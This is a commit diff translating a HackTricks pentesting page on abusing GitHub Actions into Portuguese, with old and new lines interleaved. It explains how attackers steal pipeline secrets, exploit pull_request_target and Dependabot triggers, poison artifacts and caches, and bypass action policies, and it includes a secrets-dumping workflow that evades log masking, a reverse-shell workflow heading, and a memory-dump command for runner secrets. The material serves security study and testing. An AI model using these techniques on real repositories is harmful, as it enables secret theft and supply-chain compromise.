Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions

This commit is contained in:
Translator
2025-09-29 23:26:46 +00:00
parent 29001f15d6
commit f0a4ec513f
2 changed files with 345 additions and 114 deletions

View File

@@ -1,58 +1,58 @@
# Abusing Github Actions
# Abusando de Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Tools
## Ferramentas
As seguintes ferramentas são úteis para encontrar workflows do Github Action e até identificar os vulneráveis:
The following tools are useful to find Github Action workflows and even find vulnerable ones:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ver também o checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Basic Information
## Informações Básicas
Nesta página você encontrará:
- Um **resumo de todos os impactos** de um atacante que consiga acessar um Github Action
- Um **resumo de todos os impactos** de um atacante conseguindo acessar uma Github Action
- Diferentes maneiras de **obter acesso a uma action**:
- Ter **permissões** para criar a action
- Abusar gatilhos relacionados a **pull request**
- Abusar **outras técnicas de acesso externo**
- **Pivoting** a partir de um repositório já comprometido
- Finalmente, uma seção sobre **post-exploitation techniques to abuse an action from inside** (causar os impactos mencionados)
- Ter **permissões** para criar a action
- Abusar de gatilhos relacionados a **pull request**
- Abusar de **outras técnicas de acesso externo**
- **Pivoting** a partir de um repositório já comprometido
- Por fim, uma seção sobre **post-exploitation techniques** para abusar de uma action por dentro (causar os impactos mencionados)
## Impacts Summary
## Resumo de Impactos
Para uma introdução sobre [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions).
Se você puder **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- **Roubar secrets** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- **Comprometer deployments** e outros **artifacts**.
- Se o pipeline faz deploy ou armazena assets, você poderia alterar o produto final, permitindo um supply chain attack.
- **Executar código em custom workers** para abusar de poder computacional e pivotar para outros sistemas.
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
- **Executar código em custom workers** para abusar do poder computacional e pivotar para outros sistemas.
- **Sobrescrever o código do repositório**, dependendo das permissões associadas com o `GITHUB_TOKEN`.
## GITHUB_TOKEN
Este **"segredo"** (proveniente de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o admin habilita esta opção:
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Este token é o mesmo que uma **Github Application will use**, então ele pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note que o token **expira após a conclusão do job**.\
Esses tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Note that the token **expires after the job has completed**.\
Estes tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Algumas coisas interessantes que você pode fazer com este token:
Algumas coisas interessantes que você pode fazer com esse token:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Note que em várias ocasiões você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem dar a você mais privilégios sobre o repositório e a organização.
> Observe que em várias ocasiões você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem lhe conceder mais privilégios sobre o repository e organization.
<details>
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das actions:
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **checando os logs** das actions:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Execução Permitida
## Allowed Execution
> [!NOTE]
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tenha acesso para **create a new repo in the organization**, ou que tenha **write privileges over a repository**.
> Esta seria a forma mais fácil de comprometer Github actions, já que este caso supõe que você tenha acesso para **create a new repo in the organization**, ou possua **write privileges over a repository**.
>
> Se você estiver neste cenário, pode simplesmente consultar as [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
> Se você estiver nesse cenário você pode simplesmente conferir as [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Execução a partir da criação do repo
### Execution from Repo Creation
Caso membros de uma organização possam **create new repos** e você possa executar Github actions, você pode **create a new repo and steal the secrets set at organization level**.
Caso membros de uma organização possam **create new repos** e você consiga executar Github actions, você pode **create a new repo and steal the secrets set at organization level**.
### Execução a partir de um novo branch
### Execution from a New Branch
Se você conseguir **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** ela, **upload** o conteúdo e então **execute that action from the new branch**. Deste modo você pode **exfiltrate repository and organization level secrets** (mas você precisa saber como eles são chamados).
Se você puder **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** ela, **upload** o conteúdo e então **execute that action from the new branch**. Dessa forma você pode **exfiltrate repository and organization level secrets** (mas você precisa saber como eles são chamados).
> [!WARNING]
> Qualquer restrição implementada apenas dentro do workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) pode ser editada por colaboradores. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
> Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, `on: push: branches: [main]`, job conditionals, ou manual gates) pode ser editada por colaboradores. Sem enforcement externo (branch protections, protected environments, and protected tags), um colaborador pode retarget a workflow para rodar na sua branch e abusar dos secrets/permissions montados.
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
Você pode tornar a action modificada executável **manually,** quando um **PR é criado** ou quando **some code is pushed** (dependendo de quão barulhento você quer ser):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
```
---
## Execução via Fork
## Forked Execution
> [!NOTE]
> Existem diferentes gatilhos que podem permitir que um atacante **execute uma Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode conseguir comprometê-las.
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
### `pull_request`
O gatilho do workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **contribuindo**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Como a **limitação padrão** é para contribuintes de **primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e depois enviar **outros PRs para abusar dos seus novos `pull_request` privilégios**.
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
>
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e apagar a conta dessa pessoa.~~
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo, como mencionado nos [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Com exceção de `GITHUB_TOKEN`, **os secrets não são passados para o runner** quando um workflow é acionado a partir de um repositório **fork**. O **`GITHUB_TOKEN` tem permissões somente de leitura** em pull requests **de repositórios fork**.
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. Contudo, ele não conseguirá roubar secrets nem sobrescrever o repositório por causa das limitações mencionadas.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
> [!CAUTION]
> **Sim, se o atacante alterar no PR a github action que será acionada, a sua Github Action será a utilizada e não a do repositório de origem!**
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
Como o atacante também controla o código sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **fazer upload de artefatos maliciosos**.
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
### **`pull_request_target`**
O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Note que o gatilho de workflow **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais info sobre `pull_request_target` [**confira os docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Além disso, para mais informações sobre esse uso específico perigoso, veja este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Pode parecer que, como o **workflow executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
E este terá **acesso a secrets**.
An this one will have **access to secrets**.
### `workflow_run`
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando este estiver `completed`, `requested` ou `in_progress`.
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
Neste exemplo, um workflow está configurado para rodar depois que o workflow separado "Run Tests" é concluído:
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
```yaml
on:
workflow_run:
@@ -230,29 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
Além disso, segundo a documentação: O workflow iniciado pelo evento `workflow_run` consegue **acessar secrets e write tokens, mesmo que o workflow anterior não**.
Além disso, de acordo com a documentação: O workflow iniciado pelo evento `workflow_run` é capaz de **access secrets and write tokens, even if the previous workflow was not**.
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que possa ser **disparado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de forma que o torne **vulnerável a RCE**.
Esse tipo de workflow pode ser atacado se ele estiver **depending** de um **workflow** que pode ser **triggered** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
O segundo consiste em **passing** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usando o conteúdo desse artifact de uma forma que o torna **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do forked PR
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
## Abusando da Execução a partir de Forks
## Abusing Forked Execution
Mencionamos todas as formas pelas quais um atacante externo poderia conseguir fazer um workflow do github ser executado; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
Mencionamos todas as formas pelas quais um atacante externo poderia conseguir fazer um github workflow executar, agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
### Execução de checkout não confiável
### Untrusted checkout execution
No caso de **`pull_request`**, o workflow será executado no **contexto do PR** (portanto executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](#pull_request).
No caso de **`pull_request`**, o workflow será executado no **contexto do PR** (portanto executará o **malicious PRs code**), mas alguém precisa **authorize it first** e ele será executado com algumas [limitações](#pull_request).
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser disparado a partir de **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que depende de um workflow que pode ser triggered a partir de **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **attacker cannot control the executed code**.
> [!CAUTION]
> No entanto, se a **action** tiver um **checkout de PR explícito** que irá **obter o código do PR** (e não do base), ela usará o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -282,32 +282,32 @@ message: |
Thank you!
</code></pre>
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages** referenciados são controlados pelo autor do PR.
O código potencialmente **untrusted code is being run during `npm install` or `npm build`** pois os scripts de build e os **packages are controlled by the author of the PR**.
> [!WARNING]
> Um github dork para procurar actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura mesmo que a action esteja configurada de forma insegura (como usar condicionais sobre quem é o actor que gerou o PR).
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note que existem certos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a github action estiver usando esses **dados para executar qualquer coisa**, isso pode levar a **execução arbitrária de código:**
Note que existem certos [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlled** pelo **user** que cria o PR. Se a github action estiver usando esses **data to execute anything**, isso pode levar a **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **Injeção de Script via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Segundo a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer passos subsequentes** em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
De acordo com a documentação: Você pode tornar uma variável de ambiente disponível para qualquer step subsequente em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que executem código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
Se um atacante puder **inject any value** dentro dessa variável **env**, ele poderia injetar variáveis de ambiente que poderiam executar código em steps subsequentes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um uploaded artifact para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot e outros bots confiáveis
### Dependabot and other trusted bots
Como indicado em [**este post no blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR do `dependabot[bot]` como em:
Como indicado em [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que merges any PRR from `dependabot[bot]` like in:
```yaml
on: pull_request_target
jobs:
@@ -317,7 +317,7 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
O que é um problema porque o campo `github.actor` contém o usuário que causou o último evento que disparou o workflow. E existem várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
Isso é um problema porque o campo `github.actor` contém o usuário que causou o último evento que disparou o workflow. E existem várias maneiras de fazer o usuário `dependabot[bot]` modificar um PR. Por exemplo:
- Fork the victim repository
- Add the malicious payload to your copy
@@ -326,7 +326,7 @@ O que é um problema porque o campo `github.actor` contém o usuário que causou
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Seguindo, e se em vez de merging o Github Action tivesse uma command injection like in:
Avançando, e se em vez de mergear a Github Action tivesse uma command injection como em:
```yaml
on: pull_request_target
jobs:
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Bem, o post original propõe duas opções para abusar desse comportamento, sendo a segunda:
Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
- Faça fork do repositório da vítima e ative o Dependabot com alguma dependência desatualizada.
- Crie uma nova branch com o código malicioso de shell injection.
- Altere a branch padrão do repositório para essa.
- Crie um PR a partir dessa branch para o repositório da vítima.
- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
- Crie um novo branch com o código de shell injection malicioso.
- Altere o default branch do repo para esse.
- Crie um PR a partir desse branch para o repositório da vítima.
- Execute `@dependabot merge` no PR que o Dependabot abriu no fork dele.
- O Dependabot vai mergear as mudanças na branch padrão do seu repositório forkado, atualizando o PR no repositório da vítima, tornando agora o `dependabot[bot]` o ator do último evento que disparou o workflow e usando um nome de branch malicioso.
- O Dependabot irá mergear suas mudanças no default branch do seu repositório forkado, atualizando o PR no repositório da vítima, fazendo com que o `dependabot[bot]` seja agora o ator do último evento que disparou o workflow e usando um nome de branch malicioso.
### Github Actions de terceiros vulneráveis
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Como mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), este Github Action permite acessar artifacts de diferentes workflows e até repositórios.
As mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acessar artifacts de diferentes workflows e até repositórios.
O problema é que se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que podem ser usados posteriormente ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante poderia abusar disso para comprometer outros workflows que confiam no Artifact.
O problema é que se o parâmetro **`path`** não estiver definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que podem ser posteriormente usados ou até executados no workflow. Portanto, se o artifact for vulnerável, um atacante poderia abusar disso para comprometer outros workflows que confiam no artifact.
Example of vulnerable workflow:
Exemplo de workflow vulnerável:
```yaml
on:
workflow_run:
@@ -376,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Isto poderia ser atacado com este workflow:
Isso poderia ser atacado com este workflow:
```yaml
name: "some workflow"
on: pull_request
@@ -397,23 +397,23 @@ path: ./script.py
### Deleted Namespace Repo Hijacking
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repository teve **menos de 100 stars antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository com o mesmo nome** do que foi deletado.
Se uma conta muda seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve **menos de 100 stars antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository com o mesmo name** que o excluído.
> [!CAUTION]
> Então, se uma action está usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
> Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
Se outros repos estavam usando **dependencies** dos repos deste usuário, um atacante poderá hijackálos. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Se outros repositories estiverem usando **dependencies from this user repos**, um atacante será capaz de hijacká-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> Nesta seção vamos falar sobre técnicas que permitem **pivot from one repo to another**, supondo que temos algum tipo de acesso no primeiro (veja a seção anterior).
> Nesta seção falaremos sobre técnicas que permitiriam a **pivot from one repo to another**, supondo que tenhamos algum tipo de acesso ao primeiro (veja a seção anterior).
### Cache Poisoning
Uma cache é mantida entre **workflow runs in the same branch**. Isso significa que se um atacante comprometer um **package** que é então armazenado na cache e **downloaded** e executado por um **workflow mais privilegiado**, ele também poderá comprometer esse workflow.
Um cache é mantido entre **workflow runs in the same branch**. Isso significa que se um atacante **compromise** um **package** que é então armazenado no cache e **downloaded** e executado por um **more privileged** workflow, ele também poderá **compromise** esse workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir comprometer a Github Action que **uploads an artifact** que depois é usada por outro workflow, ele poderia comprometer os outros workflows:
Workflows could use **artifacts from other workflows and even repos**, se um atacante conseguir **compromise** a Github Action que **uploads an artifact** que depois é usada por outro workflow, ele poderia **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -429,11 +429,11 @@ gh-actions-artifact-poisoning.md
---
## Pós-exploração a partir de uma Action
## Post Exploitation from an Action
### Github Action Policies Bypass
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo se um repository ou organization tiver uma policy que restrinja o uso de certas actions, um atacante poderia apenas fazer download (`git clone`) da action dentro do workflow e então referenciála como uma local action. Como as policies não afetam local paths, **a action será executada sem nenhuma restrição.**
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo que um repository ou organization tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer o download (`git clone`) de uma action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, **a action será executada sem qualquer restrição.**
Example:
```yaml
@@ -456,7 +456,7 @@ path: gha-hazmat
- run: ls tmp/checkout
```
### Acessando AWS e GCP via OIDC
### Acessando AWS, Azure e GCP via OIDC
Consulte as seguintes páginas:
@@ -464,15 +464,19 @@ Consulte as seguintes páginas:
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Acessando secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
Se você estiver injetando conteúdo em um script, é interessante saber como acessar secrets:
Se você está injetando conteúdo em um script, é interessante saber como acessar secrets:
- Se o secret ou token estiver definido como uma **variável de ambiente**, eles podem ser acessados diretamente através do ambiente usando **`printenv`**.
- Se o secret ou token estiver definido como uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
<details>
@@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obter reverse shell usando secrets</summary>
<summary>Obter reverse shell com secrets</summary>
```yaml
name: revshell
on:
@@ -526,7 +530,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- Se o secret for usado **diretamente em uma expressão**, o shell script gerado é armazenado **on-disk** e fica acessível.
- Se o secret for usado **diretamente em uma expressão**, o shell script gerado é armazenado **no disco** e fica acessível.
- ```bash
cat /home/runner/work/_temp/*
```
@@ -534,7 +538,7 @@ cat /home/runner/work/_temp/*
- ```bash
ps axe | grep node
```
- Para uma **custom action**, o risco pode variar dependendo de como um programa está usando o secret que obteve do **argument**:
- Para uma **custom action**, o risco pode variar dependendo de como um programa está usando o secret obtido a partir do **argument**:
```yaml
uses: fakeaction/publish@v3
@@ -542,7 +546,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para dumpar todos os repository/org/environment secrets. Use double base64 para evitar o log masking do GitHub e decode localmente:
- Enumere todos os secrets via o secrets context (colaborador level). Um contributor com write access pode modificar um workflow em qualquer branch para dumpar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decodifique localmente:
```yaml
name: Steal secrets
@@ -558,31 +562,31 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Decode localmente:
Decodifique localmente:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Dica: para furtividade durante testes, encripte antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
Dica: para stealth durante os testes, encrypt antes de imprimir (openssl is preinstalled on GitHub-hosted runners).
### Abusing Self-hosted runners
### Abusando de Self-hosted runners
A forma de encontrar quais **Github Actions are being executed in non-github infrastructure** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
A forma de descobrir quais **GitHub Actions estão sendo executadas em infraestrutura não-GitHub** é procurar por **`runs-on: self-hosted`** no yaml de configuração do GitHub Action.
**Self-hosted** runners podem ter acesso a **informações sensíveis extras**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que esteja isolado e destruído, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
**Self-hosted** runners podem ter acesso a **informações sensíveis adicionais**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que sejam isolados e destruídos, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que irá conter todos os secrets dos workflows em qualquer etapa ao dumpar sua memória:
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Consulte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
